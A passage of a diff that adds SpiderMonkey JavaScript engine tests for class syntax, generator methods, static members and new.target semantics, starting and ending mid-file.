+syntaxError("b = {*a({}}");
+syntaxError("b = {*a@(){}}");
+syntaxError("b = {*@(){}}");
+syntaxError("b = {*get a(){}}");
+syntaxError("b = {get *a(){}}");
+syntaxError("b = {get a*(){}}");
+syntaxError("b = {*set a(c){}}");
+syntaxError("b = {set *a(c){}}");
+syntaxError("b = {set a*(c){}}");
+syntaxError("b = {*a : 1}");
+syntaxError("b = {a* : 1}");
+syntaxError("b = {a :* 1}");
+syntaxError("b = {a*(){}}");
+
+// Generator methods.
+b = { * g() {
+ var a = { [yield 1]: 2, [yield 2]: 3};
+ return a;
+} }
+var it = b.g();
+var next = it.next();
+assertEq(next.done, false);
+assertEq(next.value, 1);
+next = it.next("hello");
+assertEq(next.done, false);
+assertEq(next.value, 2);
+next = it.next("world");
+assertEq(next.done, true);
+assertEq(next.value.hello, 2);
+assertEq(next.value.world, 3);
+
+// prototype property
+assertEq(b.g.hasOwnProperty("prototype"), true);
+
+// Strict mode
+a = {*b(c){"use strict";yield c;}};
+assertEq(a.b(1).next().value, 1);
+a = {*["b"](c){"use strict";return c;}};
+assertEq(a.b(1).next().value, 1);
+
+// Generators should not have [[Construct]]
+a = {*g() { yield 1; }}
+assertThrowsInstanceOf(() => { new a.g }, TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/class/method-named-static.js b/js/src/tests/non262/class/method-named-static.js
new file mode 100644
index 0000000000..c5a2ed8827
--- /dev/null
+++ b/js/src/tests/non262/class/method-named-static.js
@@ -0,0 +1,56 @@
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+// Instance method named "static", with and without escape sequence.
+assertEq((new class {
+ static() { return "method-static-no-escape"; }
+}).static(), "method-static-no-escape");
+
+assertEq((new class {
+ st\u0061tic() { return "method-static-escape"; }
+}).static(), "method-static-escape");
+
+// Instance getter named "static", with and without escape sequence.
+assertEq((new class {
+ get static() { return "getter-static-no-escape"; }
+}).static, "getter-static-no-escape");
+
+assertEq((new class {
+ get static() { return "getter-static-escape"; }
+}).static, "getter-static-escape");
+
+// Static method named "static", with and without escape sequence.
+assertEq(class {
+ static static() { return "static-method-static-no-escape"; }
+}.static(), "static-method-static-no-escape");
+
+assertEq(class {
+ static st\u0061tic() { return "static-method-static-escape"; }
+}.static(), "static-method-static-escape");
+
+// Static getter named "static", with and without escape sequence.
+assertEq(class {
+ static get static() { return "static-getter-static-no-escape"; }
+}.static, "static-getter-static-no-escape");
+
+assertEq(class {
+ static get st\u0061tic() { return "static-getter-static-escape"; }
+}.static, "static-getter-static-escape");
+
+
+// The static modifier itself must not contain any escape sequences.
+assertThrowsInstanceOf(() => eval(String.raw`
+ class C {
+ st\u0061tic m() {}
+ }
+`), SyntaxError);
+
+assertThrowsInstanceOf(() => eval(String.raw`
+ class C {
+ st\u0061tic get m() {}
+ }
+`), SyntaxError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "ok");
diff --git a/js/src/tests/non262/class/methodInstallation.js b/js/src/tests/non262/class/methodInstallation.js
new file mode 100644
index 0000000000..bbb6c2f727
--- /dev/null
+++ b/js/src/tests/non262/class/methodInstallation.js
@@ -0,0 +1,101 @@
+// Do the things we write in classes actually appear as they are supposed to?
+
+var methodCalled;
+var getterCalled;
+var setterCalled;
+var constructorCalled;
+var staticMethodCalled;
+var staticGetterCalled;
+var staticSetterCalled;
+class testClass {
+ constructor() { constructorCalled = true; }
+ __proto__() { methodCalled = true }
+ get getter() { getterCalled = true; }
+ set setter(x) { setterCalled = true; }
+ static staticMethod() { staticMethodCalled = true; }
+ static get staticGetter() { staticGetterCalled = true; }
+ static set staticSetter(x) { staticSetterCalled = true; }
+ *[Symbol.iterator]() { yield "cow"; yield "pig"; }
+}
+
+for (let a of [testClass,
+ class {
+ constructor() { constructorCalled = true; }
+ __proto__() { methodCalled = true }
+ get getter() { getterCalled = true; }
+ set setter(x) { setterCalled = true; }
+ static staticMethod() { staticMethodCalled = true; }
+ static get staticGetter() { staticGetterCalled = true; }
+ static set staticSetter(x) { staticSetterCalled = true; }
+ *[Symbol.iterator]() { yield "cow"; yield "pig"; }
+ }]) {
+
+ methodCalled = false;
+ getterCalled = false;
+ setterCalled = false;
+ constructorCalled = false;
+ staticMethodCalled = false;
+ staticGetterCalled = false;
+ staticSetterCalled = false;
+
+ var aConstDesc = Object.getOwnPropertyDescriptor(a.prototype, "constructor");
+ assertEq(aConstDesc.writable, true);
+ assertEq(aConstDesc.configurable, true);
+ assertEq(aConstDesc.enumerable, false);
+ new aConstDesc.value();
+ assertEq(constructorCalled, true);
+
+ // __proto__ is just an identifier for classes. No prototype changes are made.
+ assertEq(Object.getPrototypeOf(a.prototype), Object.prototype);
+ var aMethDesc = Object.getOwnPropertyDescriptor(a.prototype, "__proto__");
+ assertEq(aMethDesc.writable, true);
+ assertEq(aMethDesc.configurable, true);
+ assertEq(aMethDesc.enumerable, false);
+ aMethDesc.value();
+ assertEq(methodCalled, true);
+
+ var aGetDesc = Object.getOwnPropertyDescriptor(a.prototype, "getter");
+ assertEq(aGetDesc.configurable, true);
+ assertEq(aGetDesc.enumerable, false);
+ aGetDesc.get();
+ assertThrowsInstanceOf(() => new aGetDesc.get, TypeError);
+ assertEq(getterCalled, true);
+
+ var aSetDesc = Object.getOwnPropertyDescriptor(a.prototype, "setter");
+ assertEq(aSetDesc.configurable, true);
+ assertEq(aSetDesc.enumerable, false);
+ aSetDesc.set();
+ assertThrowsInstanceOf(() => new aSetDesc.set, TypeError);
+ assertEq(setterCalled, true);
+ assertDeepEq(aSetDesc, Object.getOwnPropertyDescriptor(a.prototype, "setter"));
+
+ assertEq(Object.getOwnPropertyDescriptor(new a(), "staticMethod"), undefined);
+ var aStaticMethDesc = Object.getOwnPropertyDescriptor(a, "staticMethod");
+ assertEq(aStaticMethDesc.configurable, true);
+ assertEq(aStaticMethDesc.enumerable, false);
+ assertEq(aStaticMethDesc.writable, true);
+ aStaticMethDesc.value();
+ assertThrowsInstanceOf(() => new aStaticMethDesc.value, TypeError);
+ assertEq(staticMethodCalled, true);
+
+ assertEq(Object.getOwnPropertyDescriptor(new a(), "staticGetter"), undefined);
+ var aStaticGetDesc = Object.getOwnPropertyDescriptor(a, "staticGetter");
+ assertEq(aStaticGetDesc.configurable, true);
+ assertEq(aStaticGetDesc.enumerable, false);
+ aStaticGetDesc.get();
+ assertThrowsInstanceOf(() => new aStaticGetDesc.get, TypeError);
+ assertEq(staticGetterCalled, true);
+
+ assertEq(Object.getOwnPropertyDescriptor(new a(), "staticSetter"), undefined);
+ var aStaticSetDesc = Object.getOwnPropertyDescriptor(a, "staticSetter");
+ assertEq(aStaticSetDesc.configurable, true);
+ assertEq(aStaticSetDesc.enumerable, false);
+ aStaticSetDesc.set();
+ assertThrowsInstanceOf(() => new aStaticSetDesc.set, TypeError);
+ assertEq(staticSetterCalled, true);
+
+ assertEq([...new a()].join(), "cow,pig");
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/methodName.js b/js/src/tests/non262/class/methodName.js
new file mode 100644
index 0000000000..02a726c105
--- /dev/null
+++ b/js/src/tests/non262/class/methodName.js
@@ -0,0 +1,40 @@
+class TestClass {
+ get getter() { }
+ set setter(x) { }
+ method() { }
+
+ static get staticGetter() { }
+ static set staticSetter(x) { }
+ static staticMethod() { }
+
+ get 1() { }
+ set 2(v) { }
+ 3() { }
+
+ static get 4() { }
+ static set 5(x) { }
+ static 6() { }
+}
+
+function name(obj, property, get) {
+ let desc = Object.getOwnPropertyDescriptor(obj, property);
+ return (get ? desc.get : desc.set).name;
+}
+
+assertEq(name(TestClass.prototype, "getter", true), "get getter");
+assertEq(name(TestClass.prototype, "setter", false), "set setter");
+assertEq(TestClass.prototype.method.name, "method");
+
+assertEq(name(TestClass, "staticGetter", true), "get staticGetter");
+assertEq(name(TestClass, "staticSetter", false), "set staticSetter");
+assertEq(TestClass.staticMethod.name, "staticMethod");
+
+assertEq(name(TestClass.prototype, "1", true), "get 1");
+assertEq(name(TestClass.prototype, "2", false), "set 2");
+assertEq(TestClass.prototype[3].name, "3");
+
+assertEq(name(TestClass, "4", true), "get 4");
+assertEq(name(TestClass, "5", false), "set 5");
+assertEq(TestClass[6].name, "6");
+
+reportCompare(true, true);
diff --git a/js/src/tests/non262/class/methodOverwrites.js b/js/src/tests/non262/class/methodOverwrites.js
new file mode 100644
index 0000000000..c1c460a28c
--- /dev/null
+++ b/js/src/tests/non262/class/methodOverwrites.js
@@ -0,0 +1,80 @@
+// Ensure that we can overwrite methods when more tha one is present.
+{
+ var result = 0;
+ // Regardless of order, the constructor is overridden by any CPN, because it's
+ // processed seperately.
+ class a { ["constructor"]() { result += 1; }; constructor() { result += 2; } }
+ var aInst = new a();
+ assertEq(result, 2);
+ aInst.constructor();
+ assertEq(result, 3);
+
+ class b { constructor() { result += 2; } ["constructor"]() { result += 1; }; }
+ var bInst = new b();
+ assertEq(result, 5);
+ bInst.constructor();
+ assertEq(result, 6);
+
+ class c { constructor() { } method() { result += 1 } get method() { result += 2 } }
+ new c().method;
+ assertEq(result, 8);
+
+ class d { constructor() { } get method() { result += 1 } method() { result += 2 } }
+ new d().method();
+ assertEq(result, 10);
+
+ // getters and setter should not overwrite each other, but merge cleanly.
+ class e { constructor() { } get method() { result += 1 } set method(x) { } }
+ new e().method;
+ assertEq(result, 11);
+
+ class f { constructor() { }
+ set method(x) { throw "NO"; }
+ method() { throw "NO" }
+ get method() { return new Function("result += 1"); }
+ }
+ new f().method();
+ assertEq(result, 12);
+}
+
+// Try again with expressions.
+{
+ var result = 0;
+ // Regardless of order, the constructor is overridden by any CPN, because it's
+ // processed seperately.
+ let a = class { ["constructor"]() { result += 1; }; constructor() { result += 2; } };
+ var aInst = new a();
+ assertEq(result, 2);
+ aInst.constructor();
+ assertEq(result, 3);
+
+ let b = class { constructor() { result += 2; } ["constructor"]() { result += 1; }; };
+ var bInst = new b();
+ assertEq(result, 5);
+ bInst.constructor();
+ assertEq(result, 6);
+
+ let c = class { constructor() { } method() { result += 1 } get method() { result += 2 } };
+ new c().method;
+ assertEq(result, 8);
+
+ let d = class { constructor() { } get method() { result += 1 } method() { result += 2 } };
+ new d().method();
+ assertEq(result, 10);
+
+ // getters and setter should not overwrite each other, but merge cleanly.
+ let e = class { constructor() { } get method() { result += 1 } set method(x) { } };
+ new e().method;
+ assertEq(result, 11);
+
+ let f = class { constructor() { }
+ set method(x) { throw "NO"; }
+ method() { throw "NO" }
+ get method() { return new Function("result += 1"); }
+ };
+ new f().method();
+ assertEq(result, 12);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/methodsPrototype.js b/js/src/tests/non262/class/methodsPrototype.js
new file mode 100644
index 0000000000..07a565ceb6
--- /dev/null
+++ b/js/src/tests/non262/class/methodsPrototype.js
@@ -0,0 +1,39 @@
+class TestClass {
+ constructor() { }
+ method() { }
+ get getter() { }
+ set setter(x) { }
+ *generator() { }
+ static staticMethod() { }
+ static get staticGetter() { }
+ static set staticSetter(x) { }
+ static *staticGenerator() { }
+}
+
+var test = new TestClass();
+
+var hasPrototype = [
+ test.constructor,
+ test.generator,
+ TestClass.staticGenerator
+]
+
+for (var fun of hasPrototype) {
+ assertEq(fun.hasOwnProperty('prototype'), true);
+}
+
+var hasNoPrototype = [
+ test.method,
+ Object.getOwnPropertyDescriptor(test.__proto__, 'getter').get,
+ Object.getOwnPropertyDescriptor(test.__proto__, 'setter').set,
+ TestClass.staticMethod,
+ Object.getOwnPropertyDescriptor(TestClass, 'staticGetter').get,
+ Object.getOwnPropertyDescriptor(TestClass, 'staticSetter').set,
+]
+
+for (var fun of hasNoPrototype) {
+ assertEq(fun.hasOwnProperty('prototype'), false);
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/newTargetArgumentsIntact.js b/js/src/tests/non262/class/newTargetArgumentsIntact.js
new file mode 100644
index 0000000000..d047085ea0
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetArgumentsIntact.js
@@ -0,0 +1,44 @@
+// Since we put new.target at the end of the arguments vector, ensrue that it
+// doesn't interact with the arguments object
+
+var argsContent;
+
+function argsWithNewTarget(foo) {
+ assertEq(arguments.length, argsContent.length);
+ for (let i = 0; i < arguments.length; i++)
+ assertEq(arguments[i], argsContent[i]);
+ let nt = new.target;
+
+ // Assigning to the arguments object shouldn't infect new.target, either
+ arguments[arguments.length] = 42;
+ assertEq(new.target, nt);
+}
+
+// Test constructing invocations, with under and overflow
+argsContent = [];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget();
+
+argsContent = [1];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(1);
+
+argsContent = [1,2,3];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(1, 2, 3);
+
+// Test spreadnew as well.
+argsContent = [];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(...[]);
+
+argsContent = [1];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(...[1]);
+
+argsContent = [1,2,3];
+for (let i = 0; i < 100; i++)
+ new argsWithNewTarget(...[1,2,3]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetArrow.js b/js/src/tests/non262/class/newTargetArrow.js
new file mode 100644
index 0000000000..548f750475
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetArrow.js
@@ -0,0 +1,24 @@
+// new.target is valid in any arrow function not in a global context.
+new Function('(() => new.target)()');
+
+// It's also good inside eval, but not global eval
+assertThrowsInstanceOf(() => eval('() => new.target'), SyntaxError);
+
+function assertNewTarget(expected) {
+ assertEq((()=>new.target)(), expected);
+ assertEq(eval('()=>new.target')(), expected);
+
+ // Make sure that arrow functions can escape their original context and
+ // still get the right answer.
+ return (() => new.target);
+}
+
+const ITERATIONS = 550;
+for (let i = 0; i < ITERATIONS; i++)
+ assertEq(assertNewTarget(undefined)(), undefined);
+
+for (let i = 0; i < ITERATIONS; i++)
+ assertEq(new assertNewTarget(assertNewTarget)(), assertNewTarget);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetBound.js b/js/src/tests/non262/class/newTargetBound.js
new file mode 100644
index 0000000000..f65cfe3caf
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetBound.js
@@ -0,0 +1,16 @@
+function boundTarget(expected) {
+ assertEq(new.target, expected);
+}
+
+let bound = boundTarget.bind(undefined);
+
+const TEST_ITERATIONS = 550;
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ bound(undefined);
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ new bound(boundTarget);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetCCW.js b/js/src/tests/non262/class/newTargetCCW.js
new file mode 100644
index 0000000000..9f5f870d40
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetCCW.js
@@ -0,0 +1,10 @@
+// Make sure we wrap the new target on CCW construct calls.
+var g = newGlobal();
+
+let f = g.eval('(function (expected) { this.accept = new.target === expected; })');
+
+for (let i = 0; i < 1100; i++)
+ assertEq(new f(f).accept, true);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetDVG.js b/js/src/tests/non262/class/newTargetDVG.js
new file mode 100644
index 0000000000..1f9c7d7fc5
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetDVG.js
@@ -0,0 +1,7 @@
+function thunk() {
+ new.target();
+}
+assertThrownErrorContains(thunk, "new.target");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/newTargetDefaults.js b/js/src/tests/non262/class/newTargetDefaults.js
new file mode 100644
index 0000000000..d5a4c5640b
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetDefaults.js
@@ -0,0 +1,25 @@
+// Check that new.target works properly in defaults.
+
+function check(expected, actual = new.target) { assertEq(actual, expected); }
+new check(check);
+check(undefined);
+
+let evaldCheck = eval("(" + check.toString() + ")");
+new evaldCheck(evaldCheck);
+evaldCheck(undefined);
+
+function testInFunction() {
+ function checkInFunction(expected, actual = new.target) { assertEq(actual, expected); }
+ new checkInFunction(checkInFunction);
+ checkInFunction(undefined);
+
+ let evaldCheckInFunction = eval("(" + checkInFunction.toString() + ")");
+ new evaldCheckInFunction(evaldCheckInFunction);
+ evaldCheckInFunction(undefined);
+}
+
+testInFunction();
+new testInFunction();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetDirectInvoke.js b/js/src/tests/non262/class/newTargetDirectInvoke.js
new file mode 100644
index 0000000000..d2cd1128c3
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetDirectInvoke.js
@@ -0,0 +1,50 @@
+// new.target is valid inside Function() invocations
+var func = new Function("new.target");
+
+// Note that this will also test new.target in ion inlines. When the toplevel
+// script is compiled, assertNewTarget will be inlined.
+function assertNewTarget(expected, unused) { assertEq(new.target, expected); }
+
+// Test non-constructing invocations, with arg underflow, overflow, and correct
+// numbers
+for (let i = 0; i < 100; i++)
+ assertNewTarget(undefined, null);
+
+for (let i = 0; i < 100; i++)
+ assertNewTarget(undefined);
+
+for (let i = 0; i < 100; i++)
+ assertNewTarget(undefined, null, 1);
+
+// Test spread-call
+for (let i = 0; i < 100; i++)
+ assertNewTarget(...[undefined]);
+
+for (let i = 0; i < 100; i++)
+ assertNewTarget(...[undefined, null]);
+
+for (let i = 0; i < 100; i++)
+ assertNewTarget(...[undefined, null, 1]);
+
+// Test constructing invocations, again with under and overflow
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(assertNewTarget, null);
+
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(assertNewTarget);
+
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(assertNewTarget, null, 1);
+
+// Test spreadnew as well.
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(...[assertNewTarget]);
+
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(...[assertNewTarget, null]);
+
+for (let i = 0; i < 100; i++)
+ new assertNewTarget(...[assertNewTarget, null, 1]);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetEval.js b/js/src/tests/non262/class/newTargetEval.js
new file mode 100644
index 0000000000..f7581c5ab8
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetEval.js
@@ -0,0 +1,40 @@
+// Eval of new.target is invalid outside functions.
+try {
+ eval('new.target');
+ assertEq(false, true);
+} catch (e) {
+ if (!(e instanceof SyntaxError))
+ throw e;
+}
+
+// new.target is invalid inside eval inside top-level arrow functions
+assertThrowsInstanceOf(() => eval('new.target'), SyntaxError);
+
+// new.target is invalid inside indirect eval.
+let ieval = eval;
+try {
+ (function () { return ieval('new.target'); })();
+ assertEq(false, true);
+} catch (e) {
+ if (!(e instanceof SyntaxError))
+ throw e;
+}
+
+function assertNewTarget(expected) {
+ assertEq(eval('new.target'), expected);
+ assertEq((()=>eval('new.target'))(), expected);
+
+ // Also test nestings "by induction"
+ assertEq(eval('eval("new.target")'), expected);
+ assertEq(eval("eval('eval(`new.target`)')"), expected);
+}
+
+const ITERATIONS = 550;
+for (let i = 0; i < ITERATIONS; i++)
+ assertNewTarget(undefined);
+
+for (let i = 0; i < ITERATIONS; i++)
+ new assertNewTarget(assertNewTarget);
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetGenerators.js b/js/src/tests/non262/class/newTargetGenerators.js
new file mode 100644
index 0000000000..614b1ab908
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetGenerators.js
@@ -0,0 +1,14 @@
+function *generatorNewTarget(expected) {
+ assertEq(new.target, expected);
+ assertEq(eval('new.target'), expected);
+ assertEq((() => new.target)(), expected);
+ yield (() => new.target);
+}
+
+const ITERATIONS = 25;
+
+for (let i = 0; i < ITERATIONS; i++)
+ assertEq(generatorNewTarget(undefined).next().value(), undefined);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetMethods.js b/js/src/tests/non262/class/newTargetMethods.js
new file mode 100644
index 0000000000..2383dc8bd8
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetMethods.js
@@ -0,0 +1,51 @@
+// Just like newTargetDirectInvoke, except to prove it works in functions
+// defined with method syntax as well. Note that methods, getters, and setters
+// are not constructible.
+
+let ol = {
+ olTest(arg) { assertEq(arg, 4); assertEq(new.target, undefined); },
+ get ol() { assertEq(new.target, undefined); },
+ set ol(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+}
+
+class cl {
+ constructor() { assertEq(new.target, cl); }
+ clTest(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+ get cl() { assertEq(new.target, undefined); }
+ set cl(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+
+ static staticclTest(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+ static get staticcl() { assertEq(new.target, undefined); }
+ static set staticcl(arg) { assertEq(arg, 4); assertEq(new.target, undefined); }
+}
+
+const TEST_ITERATIONS = 150;
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ ol.olTest(4);
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ ol.ol;
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ ol.ol = 4;
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ cl.staticclTest(4);
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ cl.staticcl;
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ cl.staticcl = 4;
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ new cl();
+
+let clInst = new cl();
+
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ clInst.clTest(4);
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ clInst.cl;
+for (let i = 0; i < TEST_ITERATIONS; i++)
+ clInst.cl = 4;
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetNonFunction.js b/js/src/tests/non262/class/newTargetNonFunction.js
new file mode 100644
index 0000000000..59e6febef7
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetNonFunction.js
@@ -0,0 +1,10 @@
+// Make sure that we can plumb new.target, even if the results are going to
+// throw.
+
+assertThrowsInstanceOf(() => new ""(...Array()), TypeError);
+
+assertThrowsInstanceOf(() => new ""(), TypeError);
+assertThrowsInstanceOf(() => new ""(1), TypeError);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/newTargetProxyNative.js b/js/src/tests/non262/class/newTargetProxyNative.js
new file mode 100644
index 0000000000..89cdd64ab1
--- /dev/null
+++ b/js/src/tests/non262/class/newTargetProxyNative.js
@@ -0,0 +1,5 @@
+var proxyToArray = new Proxy(Array, {});
+new proxyToArray();
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/outerBinding.js b/js/src/tests/non262/class/outerBinding.js
new file mode 100644
index 0000000000..19ffcb3e4a
--- /dev/null
+++ b/js/src/tests/non262/class/outerBinding.js
@@ -0,0 +1,48 @@
+// |reftest| skip-if(!xulRuntime.shell)
+//
+// The above skip-if is because global lexicals aren't yet implemented. Remove
+// that and the |evaluate| call below once they are.
+//
+// A class statement creates a mutable lexical outer binding.
+
+class Foo { constructor() { } }
+assertEq(typeof Foo, "function");
+Foo = 5;
+assertEq(Foo, 5);
+
+{
+ class foo { constructor() { } }
+ assertEq(typeof foo, "function");
+ foo = 4;
+ assertEq(foo, 4);
+}
+
+{
+ class PermanentBinding { constructor() { } }
+ delete PermanentBinding;
+ // That...didn't actually work, right?
+ assertEq(typeof PermanentBinding, "function");
+}
+
+evaluate("const globalConstant = 0; var earlyError = true;");
+
+try {
+ evaluate("earlyError = false; class globalConstant { constructor() { } }");
+} catch (e) {
+ if (!(e instanceof SyntaxError))
+ throw e;
+}
+assertEq(earlyError, true);
+
+function strictEvalShadows() {
+ "use strict";
+ let x = 4;
+ eval(`class x { constructor() { } }
+ assertEq(typeof x, "function");
+ `);
+ assertEq(x, 4);
+}
+strictEvalShadows()
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/parenExprToString.js b/js/src/tests/non262/class/parenExprToString.js
new file mode 100644
index 0000000000..a93972ce92
--- /dev/null
+++ b/js/src/tests/non262/class/parenExprToString.js
@@ -0,0 +1,8 @@
+// Test that parenthesized class expressions don't get their toString offsets
+// messed up.
+
+assertEq((class {}).toString(), "class {}");
+assertEq(((class {})).toString(), "class {}");
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/shell.js b/js/src/tests/non262/class/shell.js
new file mode 100644
index 0000000000..1169b2c5f4
--- /dev/null
+++ b/js/src/tests/non262/class/shell.js
@@ -0,0 +1,10 @@
+function assertThrownErrorContains(thunk, substr) {
+ try {
+ thunk();
+ } catch (e) {
+ if (e.message.indexOf(substr) !== -1)
+ return;
+ throw new Error("Expected error containing " + substr + ", got " + e);
+ }
+ throw new Error("Expected error containing " + substr + ", no exception thrown");
+}
diff --git a/js/src/tests/non262/class/staticConstructor.js b/js/src/tests/non262/class/staticConstructor.js
new file mode 100644
index 0000000000..bd79c22005
--- /dev/null
+++ b/js/src/tests/non262/class/staticConstructor.js
@@ -0,0 +1,22 @@
+class testBasic {
+ constructor() { }
+ static constructor() { }
+}
+
+class testWithExtends extends null {
+ constructor() { };
+ static constructor() { };
+}
+
+class testOrder {
+ static constructor() { };
+ constructor() { };
+}
+
+class testOrderWithExtends extends null {
+ static constructor() { };
+ constructor() { };
+}
+
+if (typeof reportCompare === "function")
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/staticMethods.js b/js/src/tests/non262/class/staticMethods.js
new file mode 100644
index 0000000000..756e5abf56
--- /dev/null
+++ b/js/src/tests/non262/class/staticMethods.js
@@ -0,0 +1,15 @@
+// basic static method test
+class X {
+ static count() { return ++this.hits; }
+ constructor() { }
+}
+X.hits = 0;
+assertEq(X.count(), 1);
+
+// A static method is just a function.
+assertEq(X.count instanceof Function, true);
+assertEq(X.count.length, 0);
+assertEq(X.count.bind({hits: 77})(), 78);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/strictExecution.js b/js/src/tests/non262/class/strictExecution.js
new file mode 100644
index 0000000000..f459311e55
--- /dev/null
+++ b/js/src/tests/non262/class/strictExecution.js
@@ -0,0 +1,38 @@
+// Classes are always strict mode. Check computed property names and heritage
+// expressions as well.
+
+class a { constructor() { Object.preventExtensions({}).prop = 0; } }
+assertThrowsInstanceOf(() => new a(), TypeError);
+var aExpr = class { constructor() { Object.preventExtensions().prop = 0; } };
+assertThrowsInstanceOf(() => new aExpr(), TypeError);
+
+function shouldThrowCPN() {
+ class b {
+ [Object.preventExtensions({}).prop = 4]() { }
+ constructor() { }
+ }
+}
+function shouldThrowCPNExpr() {
+ var b = class {
+ [Object.preventExtensions({}).prop = 4]() { }
+ constructor() { }
+ };
+}
+assertThrowsInstanceOf(shouldThrowCPN, TypeError);
+assertThrowsInstanceOf(shouldThrowCPNExpr, TypeError);
+
+function shouldThrowHeritage() {
+ class b extends (Object.preventExtensions({}).prop = 4) {
+ constructor() { }
+ }
+}
+function shouldThrowHeritageExpr() {
+ var b = class extends (Object.preventExtensions({}).prop = 4) {
+ constructor() { }
+ };
+}
+assertThrowsInstanceOf(shouldThrowHeritage, TypeError);
+assertThrowsInstanceOf(shouldThrowHeritageExpr, TypeError);
+
+if (typeof reportCompare === "function")
+ reportCompare(0, 0, "OK");
diff --git a/js/src/tests/non262/class/stringConstructor.js b/js/src/tests/non262/class/stringConstructor.js
new file mode 100644
index 0000000000..4e8ae3331f
--- /dev/null
+++ b/js/src/tests/non262/class/stringConstructor.js
@@ -0,0 +1,12 @@
+class A {
+ "constructor"() { return {}; }
+}
+assertEq(new A() instanceof A, false);
+
+class B extends class { } {
+ "constructor"() { return {}; }
+}
+assertEq(new B() instanceof B, false);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/subclassedArrayUnboxed.js b/js/src/tests/non262/class/subclassedArrayUnboxed.js
new file mode 100644
index 0000000000..eb27a960d0
--- /dev/null
+++ b/js/src/tests/non262/class/subclassedArrayUnboxed.js
@@ -0,0 +1,22 @@
+class foo extends Array { }
+
+function testArrs(arrs) {
+ for (let arr of arrs) {
+ assertEq(Object.getPrototypeOf(arr), foo.prototype);
+ }
+}
+
+var arrs = [];
+for (var i = 0; i < 25; i++)
+ arrs.push(new foo(1));
+
+testArrs(arrs);
+
+arrs[0].nonIndexedProp = "uhoh";
+
+arrs.push(new foo(1));
+
+testArrs(arrs);
+
+if (typeof reportCompare === 'function')
+ reportCompare(0,0,"OK");
diff --git a/js/src/tests/non262/class/superCallBadDynamicSuperClass.js b/js/src/tests/non262/class/superCallBadDynamicSuperClass.js
new file mode 100644
index 0000000000..f5b3ac3c0c
--- /dev/null
+++ b/js/src/tests/non262/class/superCallBadDynamicSuperClass.js
@@ -0,0 +1,12 @@
+class base { constructor() { } }
+
+class inst extends base { constructor() { super(); } }
